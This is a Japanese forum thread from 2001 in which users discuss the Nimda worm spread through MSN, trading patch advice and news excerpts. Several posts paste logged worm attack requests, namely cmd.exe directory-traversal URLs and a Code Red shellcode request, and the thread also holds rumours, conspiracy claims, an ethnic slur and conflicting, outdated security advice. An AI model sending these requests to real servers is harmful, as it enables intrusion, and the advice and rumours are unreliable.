最悪のウイルス登場MSNが配布 その2

前スレ
http://news.2ch.net/test/read.cgi?bbs=news&key=1000769390

警告: このスレに限らずですが、張られたリンクは「対策が済んだMSIE5.5SP2」
もしくは「IE6」で見に行って下さい。

2

>>１へ
お疲れ！！　ありがとう！！

バージョンは5.5だけどSP1とかSP2とかはどこに載ってるの？

２？

>>1
お疲れー。
でも名前が・・・・(w

坂東玉三郎カミングアウト！

>>1　５．５SP２でもI・E６、どっちでもいいんですかい？

>>1
お疲れー！

アップデートのページ、まっちろなんだけど。。。
オイラだけ？？？

早めにアップデートしとかないと
やがて激重になるかな？

前スレチゲーし　藁
はじめて見たよ、前スレちがうの

MSIE5.5 SP2 IE6 どっちでも良い
MSIE5.5SP2は確認されているがIE6はおれが踏んで実験したからヨシ。
ちゃんと警告デタヨ。

>>1
おつかれさま。
つーか、ソース忘れてるぞ（w

>>8
前スレの情報では、どっちもOK。
ちゃんと「ダウンロードしますか？」ダイアログが出る。

ネスケでJavaオフじゃダメなん?

前スレ違う!
自分でもワロタ

ウイルス配ってアップデートさせるなんてすごい発想だね。
さすがMS。

>>16
別にﾀﾞｳｿﾛｰﾄﾞ&実行しなきゃOKよ。
IE5.01、5.5のSP2以前だと、セキュリティーホールつかれて、
自動実行されちゃうからまずいってことらしく。

ついでに、JavaとJavaScriptは別もん。

Ｗｉｎ９５だとＩＥ６は使えないよね？

　IEユーザは
ツール→インターネットオプション→セキュリティ
→レベルのカスタマイズ→JAVAと付くもの全てのラジオを不許可クリック
→ダウンロードのファイルのダウンロードのラジオクリック
→OK→適用→OK
　で、まだ感染していなければ防げるはず……だよな？(不安なら書くな俺よ)

>>1
激ﾜﾛﾀ
玉三郎たんﾊｧﾊｧ（;´Д｀）

インストールされたらどんな被害が出るの？

前スレ間違えちゃダメだろ（w

試しにhttpd立ち上げてしばらく待ってみたんだけど。
これってワームがやってんのかな。

[19/Sep/2001:10:13:55 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 134
[19/Sep/2001:10:13:56 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 134
[19/Sep/2001:10:13:57 +0900] "GET /msadc/..%5c../..%5c../..%5c/..ﾁ../..ﾁ../..ﾁ../winnt/system32/cmd.exe HTTP/1.0" 404 134
[19/Sep/2001:10:14:05 +0900] "GET /scripts/..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 134
[19/Sep/2001:10:14:09 +0900] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 134
[19/Sep/2001:10:14:10 +0900] "GET /scripts/..ﾁ../winnt/system32/cmd.exe HTTP/1.0" 404 134
[19/Sep/2001:10:14:14 +0900] "GET /sc?/c+dir HTTP/1.0" 404 134
[19/Sep/2001:10:14:20 +0900] "GET /scripts/..?../winnt/system32/cmd.exe HTTP/1.0" 404 134
[19/Sep/2001:10:14:27 +0900] "GET /scripts/..?../winnt/system32/cmd.exe HTTP/1.0" 404 134
[19/Sep/2001:10:14:30 +0900] "GET /scripts/..・c../winnt/system32/cmd.exe HTTP/1.0" 400 109
[19/Sep/2001:10:14:39 +0900] "GET /scripts/..・c../winnt/system32/cmd.exe HTTP/1.0" 400 109

>>1
漏れもﾜﾗﾀ

>>1
前スレがそれかＹＯ！

どういう経緯で玉三郎になったのだろう・・・・（ｗ

緊迫感が台無しです。
正直悪かった。正直狙ってない。

今回のは、既発のパッチが完璧に当たった、IISサーバにも感染するの？

ノートンいれてるんですが、それだけじゃだめですかね

>>25
もっとクソ長い文字列が来る

■緊急セキュリティ情報■
WEBを見るだけで感染するウイルス（Windows向け）が
昨夜（９／１８）からネット上で自己増殖しております。
詳細な情報などは２ｃｈの関知するところではありませんが
現在判っている限りではインターネットエクスプローラーSP2に
バージョンをあげる事によって「見ただけで感染」は防げるようです。
Windowsユーザーは各自可及的速やかにWindowsUpdateを行ない
その後もWEBから不審なプログラムをダウンロードしない事を強くお勧めいたします。

PCとサーバの両方を狙う新種ワーム
http://www.zdnet.co.jp/news/0109/19/b_0918_01.html

ＦＴＰとＩＲＣの機能も内臓してる可能性も。

>>30
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078
のパッチがあたっていれば問題なし。うちのところ（複数箇所にサーバがあるが）も現時点で一切感染していない。

http://help.msn.co.jp/notice.htm より

平素より MSN をご利用いただき、まことにありがとうございます。
9 月 18 日夜 11 時ころ、MSN のサーバーが新種のワームによる被害をこうむりました。
また、これにともない、昨晩同時刻以降 MSN のサーバーをご覧になったお客様のコンピュータに、
このワームによる被害がもたらされた可能性があります。 MSN では事態の緊急性に鑑み、
問題が明らかになった後ただちにサーバーをインターネットから遮断する処置をとりましたが、
それ以前の時間帯に MSN をご覧になったお客様につきましては、下記の症状が現れたものと
思われます。
ページを表示する段階で、ある種のファイルをダウンロードするように
求められる。 ページを表示する段階で、ある種のファイルを自動的にダウンロードして実行し
、結果としてハードディスク内に大量のファイルを生成する。
いずれの症状が出たかは、お客様がお使いのブラウザのバージョンによって異なります。

また、１．のケースでファイルをダウンロードして実行した場合、結果として２．と同じ
症状がご利用のコンピュータに発生します。またこれ以外の症状が現れた可能性もありますが、
現時点では確実な情報ではありません。

以下のバージョンのブラウザをご利用の方は、２．の症状が現れた可能性があります。
Internet Explorer 5.01 または Internet Explorer 5.01 SP1
Internet Explorer 5.5 または Internet Explorer 5.5 SP1

それ以外のブラウザをご利用の方は１．の症状が現れたか、または影響
を受けていません。

sp2、DLできんぞ！
アクセス集中しまくってんのか？
MS氏ね！！！！！！！！！！！！！

>>23
　ワームが分身を増やそうとWEBコンテンツを見る度にウイルスパケットを
サーバにぶち込む。
　バックドアがクライアントを筒抜けにする。
　訳わからんファイルが量産され、HDD容量とメモリを食いつぶす。
　他あったらフォローよろ

MSNが自分のところに修正パッチを当ててなかったってことか？

なんじゃそりゃ

米軍がやっとんとちゃうか？

こわくて2ch以外のサイトいけないぞ！！

罪滅ぼし:

サーバー側のワームは現在の所サービスパック及びパッチを当てても
感染するという情報も有り、まだ確認は取れず。

クライアント側はMSIE5.5SP2 MSIE6でダウンロードウインドウが
出るようになる。
それ以前のMSIEはMSNいわく影響はないらしいが2chでは5.00でも感染したという報告。

WindowsUpdate激重。
IE5.5SP2の標準ダウンロードで３〜４時間以上はかかりそうです。

ＭＳＮの自作自演に1票。

http://help.msn.co.jp/notice.htm

Unicode Derectory Traversal？しっかりしろよzdnet

サイバーテロリストの犯行だ！
核攻撃を食らわせろ！！！

戦争のために通信規制しているんだろ。
米国の自作自演だろ。

ドーナツR使ってて、JAVAその他切ってたら、関係ないの？

>>41
セキュリティーホール塞いでないIEで、とりあえず巡回したいときは
JavaScript切っておけばよいかと思われ。

>>35
MS01-026も必要だよ。

未だ張られていないようなので（w

MSNにウィルス添付？
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776

MSIE5.5 SP2 ダメなら
MSIE6　はダウソ出来ない?

http://download.microsoft.com/download/IE60/fnlrtw/ie6/W98NT42KMe/JA/ie6setup.exe

>>36
リンクした〜

>>47
犯人は、米国企業の社員だろ。

MS最低だんだ（´ー｀）

マウント富士のサイトでload.exeをゲットしたよ。
今。同居中。

アップデートすれば問題無いんでしょうか･･･？？？

文字化けするし(^_^;)

正しい前スレ：MSNにウィルス添付？
1 名前：うぃるす？ 01/09/18 23:19 ID:eDmIjNNM
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776&ls=50
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776&ls=50
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776&ls=50
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776&ls=50
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776&ls=50
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776&ls=50
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776&ls=50

>>49
DonutRの設定で言えば「スクリプトの実行」をOffに。

>>32
そうなんだ。うちADSLなんだけどああいうアタックが1時間で50位来る。何故だ。
こんなのも来た。

[19/Sep/2001:10:04:04 +0900] "GET /default.ida?
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u
6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078
%u0000%u00=a HTTP/1.0" 404 134

>>49
クライアントはjs切ってりゃ問題ない。
サーバたててんならcoderedで出てきたパッチあてれ

マイクロャtト社には藁た。

そうか、アクセス集中で落とせないのか・・・・(;´Д｀)

Microsoftの積極的な協力のおかげで、Symantecはウハウハですな(´ー`)ｙ−〜〜

>>51
ゴメン。SP2まで当たってる前提で書いてたっす。

マイコンピュータ内でreadme.exe　MEP51B3.TMP.EXE　.eml検索して
出てこなかったら大丈夫なんだよね？

>>62
それはCode Redだな。

■新種ウイルス「Ｎｉｍｄａ」の感染拡大＝米司法長官■
http://headlines.yahoo.co.jp/hl?a=20010919-00000116-jij-bus_all

【シリコンバレー１８日時事】「Ｎｉｍｄａ（ニムダ）」と呼ばれる
危険度の高い新種のコンピューターウイルスが登場し、ウイルス対策会社
などが注意を呼び掛けている。
米国では同時テロが発生した直後だけに、インターネットを利用した
サイバーテロの活発化が懸念されていたが、アシュクロフト司法長官は
１８日「現時点で（ウイルスと）テロとの関連を示す証拠はない」としている。
米ウイルス対策大手シマンテックによると、同ウイルスは、電子メールで
届けられる添付ファイル「ｒｅａｄｍｅ．ｅｘｅ」に潜み、これを利用者が
不用意に開くことで感染する。
感染したコンピューターは、ウイルスメールを外部に発信。
マイクロソフト製ウェブサーバーソフトを利用している他のコンピューター
に対して同ソフトのセキュリティーホール（欠陥）を狙った攻撃を仕掛ける。
（時事通信）[9月19日9時3分更新]

>>68
念のためウイルスチェックしといたほうがよい。
もちろん最新のパターンファイルでな。

The firewall has blocked Internet access to your computer (TCP Port 111) from 211.17.238.51 (TCP Port 4415) [TCP Flags: S].
The firewall has blocked Internet access to your computer (TCP Port 111) from 202.64.58.100 (TCP Port 4691) [TCP Flags: S].
The firewall has blocked Internet access to your computer (TCP Port 111) from 202.8.231.244 (TCP Port 1604) [TCP Flags: S].
The firewall has blocked Internet access to your computer (TCP Port 6635) from 62.23.105.1 (TCP Port 6635) [TCP Flags: SF].

何これ？アタック来たよ

マイクロソフトの体張った啓蒙活動、かな・・・
かなりいい迷惑だけど。

つーか、PC初心者が多く見てるであろうmsnのサーバがまっさきに感染したのがイタい。

で、感染したとして、ファイルが共有になってたり、メールを大量送付してた場合、
自分でわかるの？

NetScapeでﾖｶｯﾀ
かちゅ〜しゃもエンジンはＩＥなので普段ＩＥ使わない俺も
アップデートする必要があるのか？

The firewall has blocked Internet access to your computer (TCP Port 8000) from news.2ch.net (216.218.213.162) (TCP Port 4111) [TCP Flags: S]
The firewall has blocked Internet access to your computer (TCP Port 81) from news.2ch.net (216.218.213.162) (TCP Port 4126) [TCP Flags: S].

２ちゃんからアタック来た。

＞６１、＞６３
ありがとうございます。

>>73
しかもIEデフォルトの設定だとmsnがホームページに設定されてるからなぁ・・

>>72
それはsunrpcのセキュリティホールをつつくUNIX用のワーム。
あっちはあっちでちゃんとセキュリティ対策してないと引っかかるよ。
IISだとsunrpc自体機能が存在しないので引っかからない。

>>75同士よ!!
ネスケﾏﾝｾｰ!

http://headlines.yahoo.co.jp/hl?a=20010919-00000001-vgb-sci
複合的な攻撃、感染機能をもつウィルス　Nimda

　昨日、22時ごろから国内のwebサーバへの攻撃、新種ウィルスの増殖が急激にひろがった。
　これらの一連の被害は、Nimda と呼ばれるウィルスのしわざによるものと思われる。
　Nimda は、感染すると、インターネット上のサーバに対して、攻撃を行う。攻撃は既知の
複数セキュリティホールをターゲットとして行われる。サーバへの攻撃に成功すると、
サーバ上のwebページを改竄し、受動的攻撃を行うスクリプトを埋め込む。
　このスクリプトを埋め込まれたページを利用者が表示すると、適切な防御措置
（パッチをあててある、スクリプトの実行機能をオフにしているなど）「見ただけで」
感染してしまう。感染した利用者のパソコンは、さらにサーバへの攻撃を行うとともに、
ウィルスを添付した大量のメールを配信する。

　こうした一連の複合的な攻撃手法をもった凶悪なウィルスの登場により、
web改竄などの被害が急激に拡大している。

　なお、ワームに関しては、certですでに部分的な情報が掲載されている他、
アンチウィルス数社に情報が掲載されている。
[ヤフーニュース9月19日9時59分]

今回はシマンテックの勝利。トレンドマイクロ出遅れたな

>>76
それは２ちゃんねるに記事を投稿するときに不正串が上がってないかどうかを
チェックするためのモノだ。

Windows2000SP2に同梱されてるIE5.01SP2使ってるんだけどコレは大丈夫？
それとも逝ってよしですか？

IE5.5sp2がおとせん
あと２時間かかる・・

The firewall has blocked Internet access to your computer (TCP Port 8000) from ton.2ch.net (64.71.133.114) (TCP Port 3893) [TCP Flags: S].
The firewall has blocked Internet access to your computer (TCP Port 81) from ton.2ch.net (64.71.133.114) (TCP Port 3894) [TCP Flags: S].
The firewall has blocked Internet access to your computer (TCP Port 8081) from ton.2ch.net (64.71.133.114) (TCP Port 3895) [TCP Flags: S].
The firewall has blocked Internet access to your computer (TCP Port 9081) from ton.2ch.net (64.71.133.114) (TCP Port 3896) [TCP Flags: S].

もう最悪。ゾヌが警告で２ちゃんから３０件のアタック

ラディンの仕業ですか？
マイクロソフト＝アメリカってこと？

>>83
もちろん被害の対象になる。ちゃんとアップデートすべし。

正直、msnって行ったことないんだけどそんなに便利なの？

>>71
最新でも駄目なんじゃない？もう更新されてるの？

>>87
ん？5.01SP2は大丈夫じゃなかったっけ？

2chのサーバもやられちゃったの？

W32.Nimda.A@mmのする行動で現時点で判明していること
http://keisui.com/GIGAZINE/cgi-bin/news/html/lg/000318.htm

>つまり、こういう流れです。
>
> サーバーに感染
> ↓
> ページを書き換える
> ↓
> 書き換えられたページを見た人が感染
> ↓
> OutlookやOutlookExpressのMAPIを利用してワームつきウイルスを送信
> ↓
> 誰かにまた感染
>
> これを延々と繰り返します。

ホント？

>>88
この騒動で3ヶ月ぶりに行った（ｗ

オレ、アナログなので、大変っす！
普段はテレホタイムにしかやらないんだけど、
今日は風邪で休んだから、
この時間にネットをしていたら、
なんかウィルスらしいじゃないっすか！
ふぅ…。

ラディンに違いない！ムカツク！

>715
別にベストエフォートじゃなくてもいいからさ
512kbpsとか１Mbpsにしてくれねぇかな
それぐらいしてくれても罰は当たらんと思うがね

IE6日本語版っていつになったら出るの？

俺もmsnなんて、ほとんど使った事は無い。
たまにアドレスバーから直に検索するぐらいだ。

Internet Explorer およびインターネット ツールのインストール中にほかのダウンロード サイトへの接続を試みましたが、ネットワークの問題のため接続できませんでした。早朝、深夜など、比較的空いている時間にもう一度セットアップ プログラムを実行してみてください。
また、インターネット サービス プロバイダ側に問題がある可能性もあります。
再びインターネットに接続できたら、[はい、セットアップを再開します] をクリックして、前回のセットアップの続きを実行してください。

　ウイルス対応の速さを謳っていたMcAFEEは全く反応してないなぁ。
　ウイルス名検索すらHITしないわ(藁

>>94
漏れはケーブラーだから数分で済んだよ　ﾍﾍｯ

大変だ!IEのパッチにもウイルスが!
アップデートするな!
NESCAPEつかえ!

http://help.msn.co.jp/notice.htmより引用。
>また、昨晩の時点ですでに影響を受けていると思われるケースについては、
>該当するコンピュータをインターネットの環境から切り離し、
>追って提供されると思われる各ウィルス対策ソフトの最新ウィルス定義ファイルを入手後、
>コンピュータ内をスキャンして問題のあるファイルを駆除することをお勧めします。

インターネットに接続しちゃいけないのに
ウィルス定義ファイルを入手しなければいけないらしい。
これは難題だ。

ウインドウズアップデートに逝ったら、
アクティブＸを許可するようセキュリティレベルを変更しろという
警告が出てアップデート画面に逝けなかった。
危なそうだから切ってるのになぁ。これじゃ対策できないよ。

5.50.4134〜〜なんだけどＳＰ１とか２っていうのは
どこを見ればわかるのでしょうか？
教えてください。

これは、みんなのアドレスを回収してるんだろ。
米軍の作戦に強力しろよ。

PC初心者だからなにがおこっているのか、
どう対策したらいいのかわからない。

ウィルスバスターはいれてある。
ＩＥ５．０　ＳＰ２
って書いてあります。これで大丈夫なんですか？
感染するとどうなるんですか？
あとマイクロソフトのソフト更新ページ行こうとすると
なにかダウンロードする状態になるのですが、まさかマイクロソフトページ
がハッキンぐされてないでしょうね？

>>101　NESCAPE　ある意味ウィルスじゃん。

>>92
ページは書き換えられない。
クライアントからのリクエストによって出力の最後に追加する形らしい。
だからサーバにあるhtmlファイルを見ても感染してるかどうかはわからない。

>>101

ハイ？

http://www.asahi.com/international/update/0919/004.html

asahi　相変わらずわかってないなぁ。

オレ5.00で感染してないんだけど

>>103
ヴァーカ　信頼するサイトに登録しとけばイイんだ
>>104
だいぶ古いバージョンらしい　すぐアップデートしろ

前スレの873ですが、なんとかSP2にUPDATEできたようです。
バージョン情報のところにSP2とあればいいんですよね？
前スレの875,876さん、ありがとうございました。

コード・レッド上回る感染力の新ウイルス、FBIが警告

　米連邦捜査局（ＦＢＩ）は18日、極めて感染力が強い新種のコンピューター・ウイルス
「Ｗ３２ＮＩＭＤＡ」が広まりつつあるとして注意を呼び掛けた。
7月にインターネットの情報の流れを滞らせ、ホワイトハウスのサーバーを攻撃した
「コード・レッド」よりも広範囲に被害をもたらす可能性があるという。

　ウイルスは「Admin（政府）２（to）３Ｗ（War）」、つまり
「第三次世界大戦へ向かう政府」という意味のことばを逆に書いたような名称。
このため、先週の同時テロとの関係を指摘する声もあるが、
アシュクロフト司法長官は記者会見で、「ウイルス感染と同時テロとを結びつける証拠は
現時点では得ていない」と述べた。

　ウイルスは昨日から電子メールの添付ファイルとともに急速に広がり出し、
サーバーやパソコンへの感染は数万件に達している模様だ。
「README.EXE」の名前が付いた電子メールのファイルを開いて感染した例が
報告されている。（ワシントン＝安藤淳）

早速対策を…と思ったらインストール途中で必ず止まりやんの鬱
アンインストールも出来ないし前にも進めず後ろも戻れず

公式サイトにもIE6出てるから逝け

http://www.microsoft.com/windows/ie_intl/ja/download/default.htm

悪質ウイルスニムダは明らかにカンコック出身だ。
http://www.asahi.com/international/update/0919/004.html

ビンラディンまんせー

５．５ＳＰ２なんですけど、
ダウンロード確認ダイアログ出たもんで
キャンセルしてすぐ切断。
ファイル見てみたらホントに出来てた・・・
readme.exeとreadme.eml　　！！
すぐ削除したけど、
それにしても感染速度のレコード塗り替えるんじゃないか？

http://www.netscape.com

IE5.5SP2がダウンロードできない人は、近くのコンピュータ店にいって、
プロバイダが販促用に配ってるCDをもらってくるとよい。もちろん無料。

だいたいはIEの最新版が入ってるはず。場合によってはプロバイダ用に
カスタマイズ（トップページがmsnでない等）されてる場合もあるが、
とりあえずバージョンアップするには良いと思う。

>>104
　更新バージョンという項目に、
sp1;XXXXXXXXX(数は重要じゃないからパス)
　ってな風になっているならSP1(危険らしい)
sp2；xxxxxxxx
　ならSP2(安全らしい)
どちらもなければノーマルバージョン(危険)

>>119
IEが感染に荷担しているという意味でCodeRedより被害は拡大しそうだ。

アドレス帳に誰のアドレスも無いのですが（悲
それでも感染していた場合、他人迷惑かける事はあるでしょうか。

昨日、夕方以降はmsｎにはアクセスしていませんです。

http://www.microsoft.com/downloads/release.asp?ReleaseID=32351

ちょっとMSたいむりーに出しすぎだよ

IE5.5 SP2じゃなくて　こっちがちゃんと出たから　こっちをいれたほうが良い

どんなスクリプトだったらウィルスなんですか？
前スレの１以外に変化したりするんですか？

つーか、これを機にMozilla 0.94入れとけ。
だいぶ軽くなってるぞ。
http://www.mozilla.org/releases/
http://ftp.mozilla.org/pub/mozilla/releases/mozilla0.9.4/mozilla-win32-0.9.4-installer.exe

　　 ∧＿∧　　／￣￣￣￣￣
　　（　´_ゝ`）＜　ふーん
　　（　　　　） 　＼＿＿＿＿＿
　　｜ ｜　|
　　（_＿）＿)

あーくそめっちゃむかつく！！！！！
絶対感染しとるわ！！！！！！

>>119
IEのTemporary Internet Filesにreadme.emlが残ってるかもね。

なんかすごそうだがよくわからない
簡潔に言うとIE5.5 SP2をウィンドウズアップデート行って入れればいいわけ？

>>131
そーです。
あと、WindowsUpdateにインストールしてないパッチがあれば、
それらも一緒に入れておいた方がよい。

　げ、既に感染している手遅れがwinアップデートにウイルス撒いてしまった
らしいってICQ来たけど、マジ？

>>131
そゆこと。

検索したらemlファイルが２個・・・
場所はメール関連・・・
最後にメーラー起動したのはＮＹテロ以前・・・・
結構前から発生してたかも。

今メールチェックしたら
自分のやってるMLあてに「MAILER DAEMON@mama.〜」なるメールが来てて、
WEBメールで添付ファイル開いたらダウンロードページが出てきました
会員以外からのメールだったんでみんなに配布される前に削除したんですが
これってやっぱやばいでしょうか？

>>132>>134
ありがとん

これって予告かな？
---------------------------------------------
https://www.netsecurity.ne.jp/article/9/2839.html
クラッキング警報（未確認）(2001.9.17)

　改竄、事件情報を扱うwebサイトEVERYDAY PEOPLEに 中国から 9月18日に、
　大規模な攻撃があるとの未確認情報が掲載された。
　攻撃対象となっているwebサイトのIPアドレス一覧も掲載されている。

ＰＣ再起動できなくて、あぼーんなんて事に。

みんなウィルスにかかって馬鹿だね〜
彼女でも作りな！
俺なんてかわいこちゃんとメールごっこしてるよ〜
花火の出るメールおくって貰ってもうラブラブ！
向こうもHAPPY1999っていうから幸せそうだよ！

>>131
そのまえに自分が感染してるかチェック

>>125
IE6は素人でも入れて良いってことになったのか？

>>138
前スレで既出。
http://people.site.ne.jp/

>133
最高の展開になるかもしれませんね（ｗ

おいらマカで今日ヒマだから
感染サイト探してきたいんだけど
手がかりをください。

OCNつながんないんだけどなんか関係あるのかな。
常時接続がつながらないから非常に困る。

つーか、初心者の俺は的外れなこと言ってるかも。

>>142
公式サイトなんだから間違いない
SP1が出るまで待つのか？

>>141
どうやって？

>>145
参考に。
http://www.tt.rim.or.jp/~syd/?key=2001:09:19:a

とりあえず感染サイト一覧キボーーーン

IE6入れてもいいの？

>>150
ほい。
http://keisui.com/GIGAZINE/cgi-bin/news/html/lg/000319.htm
元は
http://headlines.yahoo.co.jp/hl?a=20010919-00000002-vgb-sci

IE6だから関係ねーや

>>145
ttp://search.fresheye.com/?kw=readme.eml&term=monthly
ほらよ。
パッチ当ててないやつは見に行くなよ。

IE6はIE6でセキュリティーホールありそうだから5.5sp2のままにしてるんやけどなぁ。

、、、前スレが、玉三郎なんですが（藁

>>150
ZAでも入れてあれば自然に集まる。ヽ(´ー｀)ノ

ts

Windows厨房のみなさん。
それでもIEをつかいつづけますか?
あほですな。あははは

ふーん
http://keisui.com/GIGAZINE/cgi-bin/news/html/newsbav.html
ここ（・∀・）ｲｲ!! ね

つーか、普通にアップデートしときゃ平気なものなんだが。

>>147
こんなん書いてあるから・・・俺、詳しくないし・・・

http://www.microsoft.com/products/windows/ie_intl/ja/download/preview/ie6/ie6preview.htm
重要 このソフトウェアはリリース前の製品 (Beta 版) で、製品へのフィードバックおよびテスト目的のために
提供されます。弊社では、Beta 版の製品に対する技術サポートは行っていません。ピア ツー ピア ニュースグ
ループへのアクセス方法については、下記を参照してください。このソフトウェアは、リリース前のソフトウェア
のテストを普段から行っているユーザーを対象としています。この条件にあてはまるかどうか定かでない場合は、
このソフトウェアをダウンロードしないことをお勧めします。このソフトウェアをインストールする場合は、
テスト環境を用意し、日常の業務に使っている環境にはインストールしないことをお勧めします。

ノーマルバージョンでした。
危険だ。。。

助言ありがとございます＞くれた方
感染してるかどうか調べてみます。

>>159
nescapeってどうよ？

>88
ぜんぜん

>>162
それはβ版

こっちが正式版
http://www.microsoft.com/windows/ie_intl/ja/download/default.htm

初心者はBeta版のIE6.0は入れないほうがいいと思われ！！
メモリオーバーになっても対処できなければ違う意味で
すすめれない。

　とりあえず加速度的に感染サイトは増えるはずだから、状況がよくわからん人は
インターネットオプションのセキュリティからレベルカスタマイズで
javascriptはずしとき〜

バージョン情報で更新バージョンが０って事はメチャメチャ危険てこと!!!?

PC業界も景気が落ち込んでいる中で、セキュリティ関係は景気がうなぎのぼりらしい
ですからねえ。
不景気な世の中でそれを持続させるためにも、ウィルスだのワームだのが必要悪だと
思ったりする輩もいるんだと思いますよ。

JavaScript切るだけでは不十分だと。

>>166
>>155さんみたいな意見もあるし・・・どうすべきか・・・
とりあえず5.5sp2にはしといたんだけどね。

ここ１週間はメール来てない（涙

自分が感染してるかわからないのですが・・

とりあえず、これで暫くの間ネット重くなったりするんだろなー
やだな。

>>169
更新バージョンじゃなくてVersion:ってほうを見れ。

おわびとしてXPを無料配布しろ！！ヽ(`Д´)ノ

>>176
プロダクトＩＤって奴でしょうか？

>>169
　つうか、今回のウイルスに限らず、セキュリティの脆弱さから改善を重ねた物が
SP2だから、いろんな意味で危ないぞ……。
　今ネットでアップデートするのは危険だから、まだ感染してなければ
CDROM付きPC雑誌買ってきて、早急に5.5SP2か6.0正式版入れたほうがいい

どなたか詳しい方、初心者でもわかるように、対象者や対処法などを
一度まとめてください。過去ログ見ろなんて言わないで・・・。

>>178
でなくて、5.5.xxxx.xxxxとか、6.0.xxxx.xxxxとか書かれているところだ。

system.iniが
Shell= explorer.exe load.exe -dontrunold
となっていなければ感染していないと考えていいのかな？

>>7
今更
と、思われ

http://www.orico.co.jp/はいつ対処するんだろうか、せめてサーバとめれよ。

バージョンにSP2はもちろんSP1すら付いてない!!
とりあえずjavaって項目を全てoffにしといたけど時既に遅し!!?

>>181
やっぱノーマルでした…
やばいすよね。更新出来ないし〜
電気屋でＣＤ貰った方がいいですよね。

>>179
助言ありがとう!!!!!
何か非常事態みたいだから早速行ってみるよ!!

>>184
わざとやってるのか？？？自動リンクさせるな！

昨日MSN逝ったら勝手になにかをDLしそうになったので
強制的に閉じましたが、今日PCを立ち上げると必ず
不正な処理が行なわれ〜が表示される。
ｴｸｽﾌﾟﾛｰﾗｰをDLしても
「前回の更新が終了してません。」と出てｱﾌﾟﾃﾞｰﾄ
できない。どうしろと？

>>185
スタート→検索で*.emlを検索してみろ

ネスケのスタッフがワーム配ってたりしてね

>>185
昨日夜から今日の朝にかけてmsnを見ていたら引っかかってる可能性が大きい。

ウイルスチェックのソフトウエアが入っていれば最新のパターンファイルにして、
かつ全ファイル（感染する可能性のあるファイルだけじゃダメ）のウイルスチェック
をするとよい。Norton Antivirusなら検出できるから。

もしソフトウエアを購入すらしてない場合は、あきらめてフォーマットしてから
OSごと再インストールするか、そうでなければウイルスチェックのソフトウエアを
購入せよ。

これを機に久しぶりにパソコン雑誌買おうと思うんだけど
PC Japanでいいかな？

とりあえずプロクシオミトロンのnimbakillerをいれておいたが
心配だからSP2にもしておこうかな。

>>180
対象者は、IE5.01、5.5のSP1以前。SP2にすれば大丈夫。
あと、ここのここのスレの報告によると5.0もアウトらしい。
もし、更新する前に巡回したいなら、JavaScriptはオフにしておけばいい。

対象となるバージョンのブラウザでは、ダイアログも表示されずにファイルがダウンロード、実行される。
対象外のブラウザではダイアログでるから、ダウンロードしない、ダウンロードしても実行しない。

簡単に言えば、アップデートすれってこと。

http://www.trendmicro.co.jp/
HTTP エラー 401
401.3 権限がありません: リソースの ACL のため権限がありません

msn隔離しようとしたら、つないでしまいました。
メール到着1件の案内だけだったけど
平気なのかな。こわい。

*.eml　何もでてこない　よかった。

>>190
今からやってみます！

漏れの環境は5.00.3315.1000＆SP2だけど感染しなかったよ。

>>196
うちもなったぞ。どうやらあちこちのIISを立ち上げてるサイトで一斉チェックを行なっているようだ。

*.emlを検索しても見つからなかったのですが、
他に感染してるか確かめる方法ってないんですか？

>>133
ホントだ！
いた！
ありがと！

>>197
何時頃まで感染状態だったのかしらんけど、
今朝あたりには既にmsnは直ってたよ。

なんか80番叩いてくるヤツを逆に叩き返すとお約束のようにIISが居て、そのうち
半分は例のhtmlがひっついてるよ。こりゃ未曾有の事態だな。

readme.exe　MEP51B3.TMP.EXE を削除するだけじゃダメなん？

ノートンの更新リストに載ってますよね？

>>192
msmは見てないです。
でもウイルスチェックはやってみます。

ｵﾚIE６だった・・ﾖｶﾀﾖ

>180
ファイルのダウンロードも無効にしたほがいいと思われ。

>>206
ttp://keisui.com/GIGAZINE/cgi-bin/news/html/lg/000318.htm

そういう問題ではないかと思われ。。。

漏れは、関係ないの？

>>190
あのー、ﾒｰﾙがたくさん出てきたんですが・・・

エラー画面とかでなきゃ、平気なのでしょうか。
検索かけたけど、*.emlはみつからず。

じゃない、
>>130
ありがと！

ActiveX,JavaScript,Java,Javaアプレット,ファイルのダウソオフでいいんかな？

*.emlっての出てこなかった！
まだ感染されてないけど今から対策しないと・・・

>>213
君はOutlook Expressを通常のメーラーとして使っているな？
だとしたら何はともあれウイルスチェックせよ。

>>212
今回は林檎の奴は無関係。
「ネットワークが重い」という二次的被害はあるかもしれないが。

desktop.emlってファイルが600個近く・・・

感染、広がってる模様・・・。

ttp://search.fresheye.com/?kw=readme%2eeml

セキュリティレベルを高にすれば安全でしょ？？

SP2
入れたと思うんですけどどうやって確認すればよいのでしょうか？
どなたか教えていただけますか？お願いします。

>>218
了解です。

セキュリティ尼尼だったＹＯ

メッセンジャーからは感染しないってことなのかしら？＜msn

このスレはじめてみたけど、ようはＳＰ２をダウンロードするなということなんでしょうか？

>>219
ご愁傷様。あきらめてフォーマットして再インストール・・かな。

>>213は感染してるね・・・・

>>218
丁寧なレス、ありがとう。

>>189
うちも同じ
まだ再起動してないけど、、、、
感染してるサイト行ったら
ファイルのダウンロード画面出て、その直後
エクスプローラーが落ちた
